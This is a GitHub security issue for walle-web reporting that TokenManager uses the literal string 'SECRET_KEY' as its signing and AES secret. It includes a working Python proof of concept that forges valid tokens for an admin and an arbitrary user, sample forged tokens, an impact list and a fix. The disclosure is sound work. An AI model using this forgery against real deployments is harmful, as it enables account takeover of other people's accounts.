#1202·walle-web

Security: Hardcoded secret literal 'SECRET_KEY' in TokenManager → token forgery → account takeover

Author: AAtomicalCreated Jun 16, 2026Updated Jun 16, 2026
Labelsbug

Summary

walle-web's TokenManager (walle/service/tokens.py:22) uses the literal string 'SECRET_KEY' as both the AES encryption key and the itsdangerous.TimestampSigner secret. This is unconditional — not a fallback, not a config lookup. Any attacker can forge valid email-confirmation and password-reset tokens for arbitrary user IDs.

Affected Version

Root Cause

python
# walle/service/tokens.py:21-22
# secret = app.config.get('SECRET_KEY')   ← commented out!
secret = 'SECRET_KEY'                      ← literal string used as secret

# Line 31:
self.signer = TimestampSigner(secret)

The variable name 'SECRET_KEY' was written as the literal value — clearly a bug where the developer commented out the config lookup and hardcoded a placeholder that was never fixed.

Steps to Reproduce

bash
git clone https://github.com/meolu/walle-web.git
pip install itsdangerous pycryptodome
python poc.py
python
#!/usr/bin/env python3
import subprocess, sys, os
REPO_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), "walle-web")
if not os.path.isdir(REPO_DIR):
    subprocess.run(["git", "clone", "--depth=1", "https://github.com/meolu/walle-web.git", REPO_DIR], check=True)
subprocess.run([sys.executable, "-m", "pip", "install", "-q", "itsdangerous", "pycryptodome"], check=True)
sys.path.insert(0, REPO_DIR)
from walle.service.tokens import TokenManager


def exploit():
    tm = TokenManager()

    # ── 1. Confirm the hardcoded secret
    assert tm.signer.secret_key == b"SECRET_KEY"

    # ── 2. Forge a valid signed token for user_id=1 (admin)
    from itsdangerous import TimestampSigner
    attacker_signer = TimestampSigner("SECRET_KEY")
    encrypted_admin = tm.encrypt_id(1)
    forged_token = attacker_signer.sign(encrypted_admin).decode()

    # ── 3. Verify the forged token passes signature validation
    is_valid, has_expired, _ = tm.verify_token(forged_token, expiration_in_seconds=86400)
    assert is_valid is True
    assert has_expired is False

    # ── 4. Forge for user_id=999 to prove arbitrary user targeting
    tm2 = TokenManager()
    encrypted_999 = tm2.encrypt_id(999)
    forged_999 = attacker_signer.sign(encrypted_999).decode()
    is_valid2, _, _ = tm2.verify_token(forged_999, expiration_in_seconds=86400)
    assert is_valid2 is True

    print("4/4 exploited")
    print(f"  secret: 'SECRET_KEY' (hardcoded literal, walle/service/tokens.py:22)")
    print(f"  forged admin token: {forged_token}")
    print(f"  forged user999 token: {forged_999}")
    print(f"  both verified: valid=True")
    return 0

if __name__ == "__main__":
    sys.exit(exploit())

Output:

4/4 exploited
  secret: 'SECRET_KEY' (hardcoded literal, walle/service/tokens.py:22)
  forged admin token: gAp7MG_8Sylxk8_Rfz_TUA.ajFXdQ.jgV5FvH6s0G2VBTVS4hLM1SAVUQ
  forged user999 token: af46GZakFH5FAYBFX0vpoQ.ajFXdQ.1nvH-SPZlwcqHlGALUpRbM_a_-I
  both verified: valid=True
Image

Impact

  1. Email confirmation bypass: emails.py:113-114 calls TokenManager().generate_token(user.id) → forged token confirms any email → account activation without email ownership
  2. Account takeover: Forged token for any user_id passes verify_token() → password reset / email change for arbitrary accounts
  3. AES key also compromised: Same literal used as AES-CBC key for encrypting user IDs in tokens — all tokens decryptable
  4. Unconditional: No env var, no config, no fallback — every deployment is vulnerable

Suggested Fix

Restore the config lookup:

python
secret = app.config.get('SECRET_KEY')

Or pass it as a constructor parameter from the Flask app context.